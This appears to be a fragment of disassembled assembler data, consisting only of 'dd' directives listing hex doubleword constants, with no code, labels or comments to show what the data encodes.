dd 220A07EFh, 11B8A87Dh, 0ED8661DBh, 0B92280E6h, 48A42E7Eh
dd 6343EC3h, 98DA8594h, 0FF85107h, 5D759031h, 0EC00D0BDh
dd 7A0C2DF9h, 21890Bh, 0EE785E16h, 28F6C74Bh, 0BD8DE700h
dd 6A6C5C5Ah, 5EE88h, 0BC60152Eh, 0EDFA129Dh, 0AC65000h
dd 0C2FEB869h, 8DA6006Ch, 471CA419h, 0DE009E1Ah, 28F34E1Fh
dd 0EEA0B4FBh, 45F4CF74h, 0FAC0400h, 6B07B879h, 12F52682h
dd 0DD7E46B0h, 3A6D0003h, 3CEF0E1Bh, 404CCFB2h, 0F31F001Ah
dd 917A434Fh, 13781Ah, 0F6824C8h, 9560D1Eh, 0FB97E300h
dd 0A0575F5Bh, 8C5E00FAh, 0BF24626Dh, 8712B2F6h, 0D400E470h
dd 5EBE19EAh, 0E07A70CFh, 85DE071Ch, 2072158Ah, 8CC9AE07h
dd 3ADDB700h, 1189BA17h, 2B9C00FBh, 1B5176EDh, 4E00BC95h
dd 0D2430125h, 8168Eh, 384053AEh, 5B0B2635h, 4481E201h
dd 179A61FEh, 0C7BAE4h, 0C151D5FDh, 2E29D49h, 1B40320Eh
dd 0CAC8A0E1h, 7E39F4Dh, 0B97B174h, 8718205Dh, 240E331Ch
dd 20E464F2h, 1D14B3A2h, 0C76200A5h, 49E82D5Ah, 9400E6DEh
dd 0E70C997Bh, 85250Ah, 16834B6h, 79E7FE5h, 0A9C16907h
dd 6F20128Ah, 5C737B05h, 57003B0Eh, 262D50Dh, 5300EF03h
dd 0DC076AADh, 6FE20Ah, 0FF1DA7D9h, 0B6B034CEh, 3F00B1B0h
dd 0DB3548C3h, 10D851h, 39B5C2DFh, 4A340728h, 801EBD3Bh
dd 8EA1490Fh, 0C902E0Bh, 36961DD9h, 300A6F2h, 920C767Ah
dd 774662Bh, 0B3D74537h, 4216D3F2h, 0C6D2DCC0h, 0A7B23E01h
dd 0C95F2FBEh, 77A99DFCh, 2D6C0036h, 9EF66101h, 0CE0E8B6Ah
dd 4083597Ah, 111F3FDFh, 826203A2h, 2B1908D0h, 0A8BFA80h
dd 4202F660h, 0F5F454D4h, 52E630h, 0A0D294DEh, 76B9BB3Eh
dd 43703100h, 112AB2A7h, 3D910963h, 4100449Bh, 78DF7D6h
dd 0CA30400h, 1A8B9A7Dh, 99CC00ABh, 0CFFA1B82h, 783BC172h
dd 48A300E1h, 598881D3h, 0F57303FDh, 0ED3F4928h, 9BC518D8h
dd 0E8E2DC00h, 9479F430h, 1628001Ah, 0E3C1BEC0h, 7A03335Ch
dd 4C56F56Ch, 17849093h, 0A6EB0185h, 0CE3A29EDh, 0A0533062h
dd 19B8F07h, 0DBD0E236h, 0F69013h, 85331547h, 97FEFAB0h
dd 211D5D7Bh, 1440520Eh, 0EFE4F16Ah, 0CDD9002Eh, 0B089538Dh
dd 35009669h, 77BD3CF2h, 0F366672h, 61B44CACh, 0FFE0D72Eh
dd 0B8283BCDh, 0BAE19A00h, 7A64205Ch, 0DA4A6025h, 5F0FC948h
dd 0B3F4351Ch, 0E5610580h, 0CD0A99h, 9286CECAh, 6BFC6FEDh
dd 0FE72C001h, 629608DCh, 0BDFE4h, 0E4417A48h, 0A1683218h
dd 6FF36E00h, 0CA5F075h, 3B44071Ah, 17D58F84h, 0F432E0FDh
dd 0AD00B9C1h, 0D7128EA8h, 3937599h, 80656E29h, 6AE8B739h
dd 0B2002577h, 7C118DBEh, 0FC99E0FEh, 1B460005h, 0D8BABC58h
dd 92004AE1h, 0FB33A9F7h, 4E379Fh, 0D0508ED9h, 45F5311Bh
dd 985CC71Fh, 289E6B87h, 0A2D20750h, 24A60367h, 1E5D05E6h
dd 0F88DEAA1h, 63E5B31h, 4998084h, 0C978C885h, 1E0A0EEBh
dd 2780BD63h, 8DED6741h, 809FDE1Ch, 719CEEC0h, 0B8C88Ah
dd 0B5C6D3Fh, 0D9581D1Bh, 5BFF7500h, 8CCB8B6Fh, 0E844790Ah
dd 7F30FF3Ah, 7BE300B1h, 0F0FE93F2h, 61E0C3A3h, 0AED6400h
dd 6BFB0EC2h, 0B05F001Ah, 0F5499520h, 0DC072298h, 0DB56BE04h
dd 334DBA30h, 0FC0907Fh, 0F3DE166Ch, 95B7EE00h, 410064AEh
dd 98E92532h, 8B1CCEh, 66D5E73Eh, 0B10ADBE0h, 92B52000h
dd 4B514AAFh, 86B203ADh, 0F4882103h, 0FCC332A9h, 9DF676A6h
dd 622ED077h, 0AA00395Dh, 69D341F9h, 0AFCC2EC9h, 0E2E1000Bh
dd 936486FCh, 0EBE78307h, 20FEE83Ah, 0D24C149Ch, 0DD55007Eh
dd 0C081203Dh, 0A20058FEh, 998C2AA8h, 1F901C2Eh, 5712451Fh
dd 26A9016Fh, 307D0379h, 0FA2EC7E4h, 77009A99h, 4EA0E209h
dd 35D200C3h, 81CE36E3h, 0B80E7AD9h, 6094101Dh, 6D0AE56Ah
dd 0EE8F0232h, 0D4069A04h, 5AAA1B40h, 18785FF8h, 0B865D024h
dd 0F0CE0D01h, 53E0C64Dh, 0DCE6008Ch, 1AD84B7Fh, 783B7C03h
dd 92DA0074h, 2CA1E551h, 7B90BBh, 45446917h, 5515226Ch
dd 6E89BF1Fh, 2855CC0h, 0ADEC0Fh, 0C58641E8h, 0B069587Ch
dd 0CFDBB713h, 93D4D404h, 0A45CECC0h, 4780F18h, 11C0A35Ah
dd 0BE3C7F7Dh, 5361D20Eh, 89B32314h, 0C75790DCh, 0EDFB0094h
dd 732B2D6Dh, 0A5B8A160h, 0CE462A0Fh, 2CE0406Bh, 7AF5833h
dd 0DD6ECCAh, 0A6B13098h, 281F4DCDh, 9F83DF3Dh, 0C954B023h
dd 0D930C678h, 9AED006Fh, 0EEDBD91Eh, 2175CF36h, 9C6E3F3Eh
dd 0BE00C2A5h, 3BEF5A6Ah, 4641005Bh, 979CBF4Fh, 4D005E69h
dd 88CDDD5h, 128807Bh, 0E2CA5AD4h, 0C4B2C92Bh, 59E090C3h
dd 5892EA00h, 0FC3E2717h, 5A1A0035h, 63E87EADh, 610104A3h
dd 0B6671513h, 0FCF40796h, 0DAC907F7h, 732A9C8Dh, 8F6A71h
dd 4ECAD8E7h, 16C8C500h, 0A49030C2h, 9DF80161h, 0C78CA005h
dd 723D0DCh, 0A7BA3700h, 0B3AD755Ch, 923D001Dh, 8F22A136h
dd 0BE00D8ABh, 3C8EB70Dh, 3488A55h, 14B98885h, 0F1E3EB2Fh
dd 2DB194D8h, 0E63C441Dh, 0D0B30200h, 2BD8A4h, 1476E965h
dd 0F3236F8h, 182C4100h, 8B39F4D6h, 51C4008Fh, 26315435h
dd 9EE5340h, 637A6501h, 3ED9C61Dh, 10ECAFDDh, 0E49800B3h
dd 0E20CDA42h, 5E00C827h, 155F824Ch, 0EE70AE8h, 7BC29110h
dd 5E074CFh, 41A9FAF9h, 125DB158h, 91000471h, 2F799EF2h
dd 815300E2h, 7ADF8259h, 5104159Ah, 1D43DBE8h, 0AAA00880h
dd 702EC07h, 0B54A174Dh, 26892236h, 4E98A0E3h, 0AC00B7BEh
dd 0B85A6254h, 0DA79E6h, 64272F28h, 167E488Dh, 81FB27Dh
dd 9680C0DEh, 1D02B3B6h, 7DA50F1Ch, 6E8053A7h, 77D53088h
dd 0DB0E5A00h, 4082B1E8h, 63D1002Ah, 601CFD4Ah, 7278E18Eh
dd 0E00E9F7Eh, 0C055A387h, 0A5F5C4C8h, 578400F2h, 0F3BF4BA9h
dd 0DA07B8A0h, 0DC16FC2Ch, 129E7B1h, 6FD3C0h, 276C1F37h
dd 9E10F313h, 0A17B6824h, 83EDAB00h, 1BB572h, 62016339h
dd 0B00D55B8h, 4464B100h, 2787B402h, 0DE7600F9h, 0C89C9A0Ah
dd 67E89390h, 8DA65D00h, 0FB417EEAh, 0D6550022h, 0C6E3125h
dd 0B903DC94h, 0E04E05A2h, 0DA86907Eh, 0D2570015h, 0D955ED44h
dd 2700ADE1h, 75F49347h, 50A84h, 52AFACD5h, 0FC83F088h
dd 3E72A400h, 0BF01B22Ch, 5F24001Fh, 0EFDC7011h, 140010D9h
dd 0F53842C2h, 11769DBh, 6B6CE8B2h, 0D43A7EFEh, 0D0039994h
dd 0BEAB1FC2h, 8E07B0D1h
dd 8F710016h, 9450D564h, 0CD39D826h, 6BDE8796h, 44E08893h
dd 0BEAA6Eh, 3CCE5647h, 0B2506CB7h, 0D6D8C600h, 270E24Ah
dd 3D310096h, 53FAE43Fh, 714CFFBh, 3DCAA93h, 5F360A87h
dd 7862E052h, 0DC7604FCh, 0C47AF806h, 1B8600CAh, 175F6EA6h
dd 8E89413Bh, 0A0A22CCCh, 0A9041E35h, 64190093h, 37D91CC3h
dd 34002847h, 0C7799055h, 0E70E95Ah, 2D36BAF1h, 0A3EE8020h
dd 0CF00E4CAh, 0E27F9CEFh, 693899h, 0DA238D13h, 2688EE4Fh
dd 36DB3C1Eh, 75F1C2C0h, 250A4E8h, 0F6813A15h, 11E0D98Ch
dd 17006A6Dh, 101CAC4Dh, 3B116F01h, 0D08095D8h, 0E95D946Bh
dd 4F009A26h, 31A71261h, 7D7024C2h, 83905B4h, 801DEF97h
dd 4CF5FC4Dh, 8CBA2A07h, 9260DE25h, 4E455Fh, 0ED4D6B6Dh
dd 145808ABh, 60E18200h, 18CA15A3h, 0CE8600A0h, 831BDF68h
dd 4801AB08h, 0C16C9458h, 42203812h, 0D5B300A5h, 0CF5985ADh
dd 2B1774DBh, 28005F6Ah, 3F1C0EF4h, 480D00D7h, 0F3826779h
dd 0C0001ECh, 0C99C744Eh, 39443798h, 8C80DD77h, 0A045A8FCh
dd 367DCFDAh, 3F9F291Fh, 0BCCBF307h, 0B130604Eh, 0B8E388h
dd 0E92DEB6Eh, 0C8E7A780h, 67024C0Bh, 0D11F0070h, 2C4FBD5Ah
dd 194D66Bh, 55C840CBh, 0D7A0EFF5h, 8600E21Dh, 39CE5A47h
dd 3F727170h, 30009564h, 75129EFAh, 0DE00B14Dh, 0F79AAD7Ch
dd 0D47E94h, 5807B8AFh, 0E1C210EAh, 0C34120Fh, 6043C70Dh
dd 0BAB07C50h, 1FD90054h, 29249A8Eh, 3617FCA0h, 0A21DDD26h
dd 4135C2C0h, 14ADD9h, 7D89C306h, 6479838Ch, 2AE8DF00h
dd 8DC98E20h, 0D37300B2h, 0DB945E0Ah, 871F7EA5h, 39DDCD9Bh
dd 48E19543h, 0C0ECD801h, 41E41742h, 775F0E6Ah, 80C1E024h
dd 0BFA11065h, 490A58h, 803BD9B9h, 549349h, 0F97CB842h
dd 0D35BF8D2h, 4540B71Eh, 0B3A9FEC3h, 60B6FAFBh, 645172h
dd 0BE0E0597h, 747F16CCh, 9C0B6800h, 0F85080A7h, 1A0900F1h
dd 21344A79h, 3500C1ECh, 430815B7h, 3F0E83EAh, 7E0061BDh
dd 0D49189FAh, 53038BC8h, 1A85796Eh, 0C5E28832h, 1FD2000Dh
dd 71ED6135h, 6700E42Ch, 1ED30B7Bh, 71D0339Ch, 87FA00B3h
dd 10A5CCFBh, 3200EAB5h, 7F8B7C92h, 28FEE0h, 5B7A9E04h
dd 3B7EFF18h, 8938D2C0h, 0E861CE9Dh, 0DC0B00F4h, 4CCCDB6Dh
dd 0E4023E6Fh, 35E9E58Ah, 0D797E095h, 0CFAF03CAh, 9F10F7D2h
dd 3D84D8A8h, 0A9205A07h, 0A10061ABh, 0FFECE1h, 6E9C8CE3h
dd 35255645h, 0BAD5BF03h, 9886D9BBh, 7FF129Dh, 5E85E3B6h
dd 99098017h, 830F783Bh, 26C965h, 9B287981h, 0D03A009Ah
dd 0A6F6B55Fh, 85792F9Fh, 4D523F00h, 59407FF9h, 54531D4Eh
dd 0AA1BC05Eh, 863D6C10h, 0ECE27300h, 8970DD57h, 925A0159h
dd 0A4E7326Bh, 0B7C0478Bh, 0EF2F305Dh, 48072856h, 0DDE8013Fh
dd 0F5C27300h, 0D09100B6h, 0CF339F34h, 4D001C97h, 8122A523h
dd 0A0BEEAE6h, 3DCAAA4h, 0BD99E134h, 6BAAA039h, 0D1A6D9E0h
dd 0B2836E07h, 3260260Eh, 308F95h, 6C43F425h, 7C06A415h
dd 0C0B92B00h, 0D3E3DE19h, 8E08385Fh, 3E77CB80h, 0A6857A51h
dd 930099EAh, 90D7268Bh, 0FDD595Ah, 0C6133CE7h, 76259420h
dd 0E400CE7Ch, 0C0D61AC7h, 778DF979h, 597E0E2Bh, 3460E902h
dd 1236CDE6h, 0F795DA1Dh, 5B23EC0h, 3F3D53E8h, 0F5804FB5h
dd 0A64E4ADDh, 9E01B8B7h, 8168F789h, 0E3F4B227h, 0B1290070h
dd 76D522AEh, 0A400E212h, 0E9BBBB3h, 5EA392h, 7C93036Ch
dd 0B6EF2D13h, 81419700h, 0F6ABB256h, 0AEAC0F3Bh, 5CAB7879h
dd 85A9EA03h, 0FF6FAEAh, 12CA5F00h, 0DB383Fh, 0E9FF04C7h
dd 89D1EC9Ah, 0E8C96A13h, 863CB503h, 93AFF0B0h, 292F0071h
dd 30E675Bh, 0FAF43E54h, 0A9251F00h, 0EFC8DA2Dh, 0DE113AA2h
dd 0E36F5D80h, 63A47D87h, 10A9F300h, 9FAE906Eh, 0C498D2h
dd 6A27A519h, 26E3BCA7h, 64363B00h, 0E2A285F5h, 0C03C00E9h
dd 0D071827h, 9B007CA0h, 0C719D771h, 0DD9225h, 572ADB01h
dd 0D4F9E19Dh, 0A201E3E4h, 271A47Ch, 3DFCCFCBh, 0E4B1075Dh
dd 707D2346h, 0C09453D5h, 0DB67DE00h, 7510FDADh, 40E4C7h
dd 0E948996Ah, 0EA6FBDE3h, 0FED99000h, 4377845Bh, 3BCB09D5h
dd 7181995Fh, 0D0320CEBh, 0F7008744h, 42EE2A1h, 7054B981h
dd 97A300E8h, 0A43F11DFh, 4600F08Fh, 0BE39C4B7h, 75160Dh
dd 0E5910CBCh, 7DE3B805h, 8E730E3Fh, 0AEAD279Fh, 95DC2069h
dd 0EAD28DA0h, 118700B7h, 5C6AD4C4h, 0D00FABC6h, 0A0539FB5h
dd 0A65A21DBh, 0A88C00C8h, 0F6221BCFh, 37002E09h, 0ACB8B52Ch
dd 6CE176h, 0C378B677h, 48962660h, 340070E6h, 24D64050h
dd 1C644ABEh, 1C39302h, 6F2D8BDAh, 7FAA70ADh, 0D7BD3300h
dd 1F4C0380h, 0FA9E0056h, 0D0B6E10Ch, 0A8007401h, 25BC9140h
dd 741B0CAh, 0A5C82896h, 8DDB9371h, 0EC86CEA9h, 0EC0BF813h
dd 701B2B39h, 169500D9h, 55DC71B1h, 96006DF2h, 0B20E3CD2h
dd 0DFFA84h, 11A3FE41h, 545BC8ADh, 0EB59CD1Eh, 5A1A9340h
dd 773BCAh, 0AE568D85h, 106447ADh, 875EEA00h, 1E64C72h
dd 2B690088h, 3EB6C5CEh, 0B21FD16Dh, 0C2401362h, 0EAD44364h
dd 0D5FA0005h, 0BCDD1D59h, 6770A59Ah, 0AC95E800h, 0D3621B7Dh
dd 42270063h, 6CBDA429h, 0E87EF920h, 36EE5E07h, 4B60AEF0h
dd 605877D9h, 0C51578C0h, 60006F51h, 25490807h, 7A774F57h
dd 1F717E30h, 6570D288h, 533D65D8h, 930F80EFh, 0A1BB133Dh
dd 3BD300ADh, 5072CA9Bh, 0C13BBC79h, 99AC8046h, 6D8D0C21h
dd 0F0EBF73Ah, 1C6E6B87h, 809105D0h, 0ACAD924Ah, 25124498h
dd 980077EEh, 348D3E6h, 328F01B4h, 0FFBF6C64h, 0CA236068h
dd 81F0E03Eh, 5E7CA6FCh, 80EB753Dh, 517E20h, 8A0A4D0Fh
dd 0F5F996DCh, 46DE7400h, 9041BEECh, 65C007Ch, 0EC3DD81h
dd 0AFB84036h, 9DD6170Fh, 42E2405Eh, 327984h, 6CFA06FDh
dd 0B3BC777Fh, 0DE01A2E4h, 8AC0A601h, 67F4DFE2h, 0B19C0090h
dd 9BAC5D0Eh, 7D0044B7h, 1CEDB6B5h, 1D423A82h, 84FD0126h
dd 0C0058116h, 6AF9BC4Dh, 1FFB0900h, 0C3804C2Ch, 0F8EF0791h
dd 0E044C74Dh, 55CC94BEh, 40006CE4h, 98BB99E4h, 0A7138Ah
dd 61B0165Dh, 968315E3h, 8CEDA9A0h, 7E25E0E5h, 44B41700h
dd 0C738289Dh, 43DD01E0h, 34E13D1Ch, 0BBD3E471h, 4E00557Fh
dd 150F6306h, 318D894h, 35B6A810h, 1C9830DAh, 7AEAFB8Ch
dd 5C000F7Ch, 52B5AA5Fh, 0FFDE55h, 0D94ABC51h, 308603A2h
dd 3A0E1000h, 0B05BB529h, 19B733Ch, 9D94AADDh, 0D0582652h
dd 0D5026EE9h, 53FB5DFh, 0E75260EBh, 0A7C30034h, 421F3921h
dd 0F30341D6h, 0E9A04D43h, 0D25C881Ch, 0CD7C0F4Ch, 3120E88Dh
dd 9B77D609h, 10EF4500h, 0FDED95Eh, 2FDF00DCh, 728F7647h
dd 7300B899h, 104C8EBh, 39786EE5h, 1980599Fh, 928C71C5h
dd 44032905h, 34F31CA4h, 0B790B84Bh, 0EEA0126Ah, 0A5A6011Fh
dd 0C49FBA0Ah, 0D21D67E6h, 0C2400FB9h, 346BD55Dh, 6E03000Ch
dd 8A4B2053h, 3D003CDEh, 0FE50A7F5h, 0F3F2Bh, 517B6345h
dd 1585DD7Ch, 0EFBE981Fh, 80578E8Bh, 0CFDFED39h, 0B84EE86h
dd 33C3F66Fh, 5A40E80Ch, 0D7CDCB07h, 96204017h, 0C0216C6Bh
dd 43021530h, 0EBE6FED3h, 237A9800h, 0E850BDAAh, 0EE320026h
dd 97298894h, 630044F0h, 65F33FDBh, 7A23AD28h, 0EB0F0385h
dd 0F77D1F21h, 0E41440E9h, 0F800A778h, 988906B6h, 0F525FCh
dd 7DD89BB5h, 0A8A146C0h
dd 74BE7800h, 31C1ACD6h, 0BB510093h, 19F634DEh, 73167176h
dd 8A00E14Bh, 2B9A8D16h, 23B100C9h, 0EEF579Eh, 4FFC3D7Bh
dd 0B733C52Ch, 0E4299D00h, 0F10EBh, 0E5652B60h, 5DF7B308h
dd 52FE8A07h, 643020E7h, 7D521D6h, 159C96B9h, 0C9FB6023h
dd 3507C585h, 341AE9DBh, 2174E450h, 0DCE2B3h, 0DD4529C0h
dd 0CCCFB405h, 969CA300h, 0AC8433F3h, 4CCE0FADh, 0A8E26659h
dd 0E8807161h, 19FEE863h, 0DFB1E02h, 0C0F7C240h, 99BBD6h
dd 6F0FF61Dh, 0EE2BB4E1h, 0E9813200h, 9222ED66h, 0BB290B5Eh
dd 3700534Dh, 0B9FB8BDh, 6808539h, 3E06D230h, 0EE90ACh
dd 0EA45B769h, 3FCDC626h, 58319C00h, 0D4FEE5F6h, 198003FAh
dd 0E7EA9346h, 4205D8D0h, 7FA2FF00h, 0E613617h, 2E7300ECh
dd 10685475h, 0F104E98Ah, 0F3B5FAD7h, 0A061380h, 0A8CFE536h
dd 976551h, 0F502BA39h, 8B88CA3Ah, 9FACBE00h, 0F8DB3F32h
dd 14E50093h, 0A387C291h, 54EE9B1Ah, 64007179h, 0F652AE65h
dd 3BCC50DFh, 9880C57Ch, 0F4DC4925h, 65009524h, 205E3376h
dd 85C2B8h, 92D2EA5Dh, 88A951FCh, 0E602D00h, 120BED13h
dd 50D90052h, 41B226C5h, 0AE3E2E0Ch, 2C648030h, 90E548A6h
dd 8D603A33h, 37564200h, 1EB6580h, 530092E4h, 0B0C5A2DAh
dd 3FA1677Dh, 5B070DEEh, 1064E00Bh, 5CC79F3h, 8F495039h
dd 4027EA61h, 5F2DDC8Fh, 0F06E00C5h, 0F952B04Dh, 0BE000D68h
dd 6C9BA880h, 3FACCE08h, 3CFB92D8h, 0A21E0A7Bh, 6D1D406Fh
dd 0AAAF84F7h, 0E4D0330Ah, 5000F935h, 27220210h, 7EFF009Bh
dd 1EF5B374h, 0E698D452h, 0C93E821Eh, 5F9C803Ch, 3D276264h
dd 73E4DBh, 952AE9E3h, 0FF36B105h, 23F1C00h, 0B6B44489h
dd 0BB5807DAh, 0E09DEB90h, 0D22ED7F5h, 0CD0ED601h, 0ACAA4731h
dd 5B89A7C4h, 431E0ECFh, 3DE06561h, 0CDEDDC6Ah, 98BA1000h
dd 0F50BEED2h, 78E87382h, 0BC6F3D54h, 0FDAA5D80h, 22F1FBBBh
dd 0A200F9F6h, 6976E08h, 241D2BCEh, 32A6B47h, 67035D2Dh
dd 318A68E8h, 0FE00D2E2h, 1C11D83Bh, 1C4256B3h, 5A9BB1h
dd 5412D7FDh, 1F07C1DDh, 2F847892h, 0F4C3C290h, 0AA3900BDh
dd 83E693D0h, 7F00F170h, 734A4E38h, 491AA5h, 0AFF60288h
dd 63EFDC2Ch, 6FFE5B00h, 27A717EEh, 90490041h, 0F1F26D91h
dd 0A21E3FD4h, 0AE806F88h, 11532389h, 0AFB12439h, 26BA2C60h
dd 7DCA008Fh, 833CB5D5h, 454BA300h, 5348DAADh, 0D18200ACh
dd 0B9E56117h, 0BD003A7Ch, 0C068C1F0h, 0C2E0FDh, 4FE94472h
dd 4BCDC11h, 5D1BC500h, 36D1AACCh, 553100D7h, 9B10496Ch
dd 8B009196h, 9B4701Fh, 83CDBDh, 6A608FEDh, 183E365Dh
dd 51E14C00h, 59DA6E27h, 0F4E600BAh, 0FBFE0632h, 0A600BE5Bh
dd 9BCF9880h, 7E9281A2h, 0BFE51C02h, 6800BDAEh, 5A6A6CA4h
dd 0B5002F6Fh, 460113Eh, 1C64989Ah, 2711B73h, 815EC643h
dd 6724C4E0h, 0DE38F8F8h, 3E844C9Bh, 9088804Bh, 6F286455h
dd 84E4004Eh, 709416A9h, 0C50030A3h, 6C6382F1h, 0D6B0EBh
dd 1B6B674Bh, 0A98B4009h, 0DA713F00h, 9CCDD9D8h, 3D4D00D6h
dd 0DDC008BEh, 0B40F7E52h, 204313ECh, 0EB064FE2h, 0C7B50016h
dd 0FD46BBFBh, 7FECF06Dh, 86534700h, 363015F8h, 1ECF0083h
dd 8B4D94B9h, 0EC006EA6h, 28CD3B21h, 7479B011h, 1F8E00C4h
dd 86ED5F1Ch, 97FE59F5h, 0B6531D01h, 0FBA70A0h, 1E1A3E70h
dd 0C07D6C18h, 90FA6424h, 6A006F52h, 0EF126621h, 1E9F5D75h
dd 0CEDE1610h, 0C120B1DCh, 9743FBCCh, 0FCA8A401h, 2E6CADB5h
dd 7F9C4360h, 62DD0F83h, 6E8034B4h, 0FEE735Ch, 37F1F400h
dd 0A2921841h, 0F94B0065h, 0CE890D3Eh, 0FA037B6Ah, 8C1B379Dh
dd 0C2FE80F3h, 0A04CB0D2h, 72033h, 5A421DEh, 10E1CE0Bh
dd 0FEEFAC00h, 7449E2FCh, 0D172076Ah, 40BF0546h, 19088ADFh
dd 0C118100h, 0D5922D62h, 0C3600079h, 4058800Ah, 0FF0004A6h
dd 0E975987Dh, 1EFACC5Bh, 38352C4h, 0EE4E2235h, 8A37E798h
dd 95006270h, 33B2012Eh, 60B368h, 3D3DE15h, 395AC852h
dd 0BFDC7B1Fh, 0D6C00EC1h, 67CC8537h, 1C0A0046h, 6D52F29Dh
dd 30F6894h, 80692D8Fh, 274118D5h, 0D9390063h, 0CDAF37CAh
dd 1D0F77D8h, 0A0284621h, 52D0D7BFh, 54B4004Ch, 0A08A9188h
dd 1F2E079h, 7006E10Fh, 86D000Ch, 189ED7h, 77CEC6B2h, 3226446h
dd 969FCA00h, 0F5EC403Dh, 0E4070070h, 2681E58Dh, 0BC0154BAh
dd 2E63B5D9h, 38F44FB2h, 34B600D5h, 61C35930h, 58F8D972h
dd 8ED6800h, 0BD78AC7Ch, 94550073h, 0EAB1DD47h, 0A800FD8Eh
dd 0F5B5DCA3h, 1380402h, 755D5E91h, 0E06D28C5h, 30E1944h
dd 6749D001h, 10675C3Ah, 768B96F0h, 0A61B0081h, 0D4AAC1E0h
dd 0C600F861h, 17212CB2h, 3DDADEh, 6BAC92FCh, 0E6AD7C94h
dd 0F07F0678h, 8BE18D00h, 0B4C2E7C1h, 0FE380035h, 0D3A17DCDh
dd 2400B588h, 80616022h, 0B108D42h, 28ED648h, 0E1137F81h
dd 5D78C80Dh, 0F8412826h, 37523500h, 7D809C03h, 4F0103B3h
dd 0C4B1B7E3h, 4BCE5480h, 5FF25800h, 6FFC84E8h, 2E5E0041h
dd 0D213CA22h, 3F3BC22Ch, 340A0161h, 4ADC909Ah, 90E1EBE4h
dd 49FC99h, 0D6619943h, 670883BBh, 599B170Bh, 20A10EA9h
dd 5394B647h, 7E7E49h, 571AA27Ah, 0E93B24F0h, 0BD1848h
dd 0AC307D40h, 0DD91E3h, 2D52A54Ah, 67FBEE21h, 0D56F4F09h
dd 137000FDh, 31D2EBh, 5055B66Ah, 576C5EF7h, 71C06307h
dd 929066C6h, 0DF913Fh, 0B76D648Eh, 0EE7084E2h, 885E5A00h
dd 0A294D4CCh, 4E2E1E1Ch, 82AADDB8h, 686A4581h, 0CF5282C0h
dd 88668C00h, 0B3225CE8h, 0E09D039Bh, 0EC3E329Ah, 5A3A58B8h
dd 9C24200h, 6618254Bh, 0CA3B012Dh, 70AA440Bh, 476DFCD3h
dd 3FB1A607h, 83E28F5Ah, 44136086h, 7CE90051h, 9425F434h
dd 0B8F8BDACh, 7F008A79h, 11AAC003h, 7112746Bh, 0AF5A0036h
dd 14671591h, 0F671BACCh, 0F088C907h, 8300DBB1h, 0E8B6CF5h
dd 121160E4h, 91F27AC2h, 27E8CC60h, 0F81D977Ch, 0A0C3139Bh
dd 0FB9A45EAh, 7E71903Dh, 8BD70903h, 5C8058B0h, 5E8DA374h
dd 8DD800Fh, 10F2E011h, 0FE0734D6h, 587A00EFh, 13A9E9F7h
dd 0CC000209h, 6D734EB3h, 91289Eh, 6665926h, 2C944711h
dd 0D400B072h, 0E479C4A1h, 1CD116h, 0E36CEB7Eh, 0BE75F423h
dd 0FA249700h, 0EC98044h, 63903B5Fh, 74862101h, 0E4A6A9C7h
dd 1DB80FD9h, 0ABE08400h, 39DF472Ah, 0F6DC5065h, 256100AFh
dd 8A9D2954h, 41F83B9Ch, 700024ECh, 0D4C64F9Eh, 1F2692h
dd 5FC00988h, 823B1CF8h, 0FCCB8707h, 1600A70h, 9C408Bh
dd 6FD8AD30h, 9657C044h, 707C0E04h, 0F80355Ah, 0F73002h
dd 3E269B2Ch, 720C589Ah, 0B9338D00h, 165D6884h, 230CC538h
dd 0FC4BC3BBh, 0F6D3A388h, 9814C500h, 16A0F90Ah, 45AB3997h
dd 0C2197D80h, 6C6B037Ah, 8F0044ECh, 38F90612h, 1DA093Dh
dd 79AD7D1h, 0FC395F26h, 0EE0090B5h, 3A76E201h, 0B5862D9h
dd 2F129BA3h, 0D336B400h, 57F005FAh, 2E7A107Ah, 6329E01Eh
dd 68B07A40h, 0B8D2AF9Dh, 5F6F2h, 658F43Fh, 4D657CF6h
dd 6C237326h, 0DB92D200h, 1D8B6E0Eh, 8197D6B6h, 234ADBAh
dd 332E60D1h, 43625900h, 0DB4A8DB1h, 0EC370716h, 0E022D5B5h
dd 0A2418029h, 7D768A00h, 0C1C02DE9h, 0B11206BEh, 0D41E44F9h
dd 1F486C00h, 0C35A185h, 246B3EECh, 0FB1C7000h, 6219152Ah
dd 0D087DC00h
dd 7659CD5Ah, 743E00DFh, 83F82D86h, 4E134B19h, 8E18DCC1h
dd 1FCCDE34h, 40143879h, 3CE16E8Fh, 6A000E6Ch, 97CBA3F3h
dd 850719h, 77823E7Bh, 0C76C94C0h, 57DD10Fh, 668BC0ADh
dd 39FC3CCh, 0ABDAE2C5h, 180D68Eh, 0B7077E28h, 0B3F41FCh
dd 3DC070C7h, 736459Dh, 66E6E495h, 7F610073h, 0F8002468h
dd 825C75CFh, 180B8A44h, 4E324CECh, 8A901AA7h, 241BC00h
dd 0F4AA5989h, 74F011h, 6DEFA060h, 94B41665h, 0B8E30200h
dd 62538FFEh, 64BC0046h, 5205C690h, 4900633Bh, 31710DAEh
dd 7EA2B5h, 9965135Eh, 1B2C5059h, 92BC3400h, 91952E79h
dd 8C37000Ch, 626BD801h, 0AE009ACEh, 3514CF96h, 3FB177FEh
dd 1780C82Bh, 0F5015AC0h, 917B1208h, 0C959D400h, 0AA3FF836h
dd 0A89E009Ch, 168EE1E0h, 35121ECBh, 0FE0087B6h, 0B5E9D2E3h
dd 0A6DA3EB1h, 90763100h, 0BD84B4A1h, 12C57000h, 20B31FD7h
dd 225300FAh, 5B7404D3h, 8D00AFE0h, 0E915AA98h, 1EDC52DBh
dd 4CB36Dh, 925D6753h, 0C60001D3h, 34BD4712h, 3F2413DDh
dd 0A480F1A6h, 0BCAF7298h, 0B5FCC29Eh, 0F0006B76h, 932C554h
dd 1085827h, 0F3A38CBEh, 0F87EE062h, 0DA7543EFh, 8488B000h
dd 91F40EADh, 53EE00C1h, 95BA8330h, 0ED00948Ch, 237ECBACh
dd 0F58A2Dh, 0DE945E6h, 2A46F64h, 15C1BA00h, 0EAC4CE71h
dd 29010322h, 2682E821h, 90C811A8h, 0AEB84A00h, 0B365D184h
dd 4ED60096h, 3386122Ah, 0D8001D0Bh, 0CB5920D5h, 182D1Ah
dd 58F33DCDh, 65445CF4h, 80550D3Ch, 1EC56734h, 2FB7BE5h
dd 18C982CDh, 8A7DA7AEh, 0B2008DB8h, 969E2A31h, 4B17071Dh
dd 0B0FC465Fh, 7C9BCFBDh, 75EFC407h, 41EFB9FEh, 3A1F6285h
dd 9405C0h, 0DD5DE3F6h, 0A128E411h, 7A56FB04h, 0D3C08CECh
dd 0FB1BFED6h, 0C161AE80h, 0CB6E52F7h, 0CDA17003h, 0D81342AFh
